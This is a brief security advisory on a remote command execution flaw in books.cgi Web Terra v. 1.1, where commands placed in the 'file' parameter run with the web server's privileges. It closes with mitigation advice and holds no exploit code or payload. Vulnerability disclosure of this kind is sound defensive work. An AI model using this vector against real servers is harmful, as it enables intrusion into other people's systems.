Remote Comand Execution on books.cgi Web Terra v. 1.1

A vulnerability in books.cgi Web Terra v. 1.1 allows an attacker to execute arbitrary commands on the vulnerable system. This is achieved by sending a specially crafted HTTP request to the vulnerable server, containing a command in the 'file' parameter. The command is executed by the web server with the privileges of the web service. The vulnerability is due to insufficient sanitization of user-supplied input.

Mitigation:

Input validation should be used to prevent the execution of arbitrary commands. The application should also be configured to run with the least privileges necessary.
